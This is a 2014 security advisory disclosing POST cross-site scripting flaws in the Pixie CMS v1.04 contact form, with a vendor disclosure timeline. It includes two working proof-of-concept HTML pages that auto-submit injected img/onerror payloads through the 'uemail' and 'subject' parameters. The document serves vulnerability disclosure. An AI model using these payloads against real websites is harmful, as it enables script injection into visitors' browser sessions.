Pixie CMS v1.04 (Contact form) POST XSS Vulnerabilities
Vendor: Pixie CMS
Product web page: http://www.getpixie.co.uk
Affected version: 1.04
Severity: Medium
CVE: CVE-2014-3786
Demo page: http://demo.getpixie.co.uk
Discovered by: Filippos Mastrogiannis (@filipposmastro)
& Simone Memoli (@Simon90_Italy)
Pixie is a free, open source CMS software a.k.a a small, simple,
website maker (as the vendor states on its website)
Description: Pixie (v1.04) suffers from several POST XSS vulnerabilities in
the Contact form (contact.php). The user input through the POST parameters
'uemail' and 'subject' are not properly sanitized allowing the attacker to
execute HTML code into user's browser session on the affected site.
The vulnerable component is the contact module of the Pixie v1.04 and it
can be found at (/pixie_v1.04/admin/modules/contact.php) of the source code
Tested on: Ubuntu 13.10 with Mozilla Firefox 29.0 / Microsoft Windows 7
with Mozilla Firefox 29.0.1
Proof Of Concept:
<html>
<title>Pixie CMS v1.04 Contact form (uemail parameter) XSS</title>
<form name="xss" action="http://demo.getpixie.co.uk/contact/" method="post">
<input type="hidden" name='uemail' value='"><img src=x onerror=prompt(document.domain);>'>
<input type="hidden" name='contact' value='1'>
<input type="hidden" name='subject' value='xss'>
</form>
<script>document.xss.submit();</script>
</html>
<html>
<title>Pixie CMS v1.04 Contact form (subject parameter) XSS</title>
<form name="xss" action="http://demo.getpixie.co.uk/contact/" method="post">
<input type="hidden" name='uemail' value='xss'>
<input type="hidden" name='contact' value='1'>
<input type="hidden" name='subject' value='"><img src=x onerror=prompt(document.location);>'>
</form>
<script>document.xss.submit();</script>
</html>
Disclosure Timeline:
[13.05.2014] Vulnerabilities discovered.
[13.05.2014] Initial contact with the vendor.
[15.05.2014] 1st response from the official maintainer.
[30.05.2014] 2nd response from the official maintainer.
[30.05.2014] Public security advisory released.
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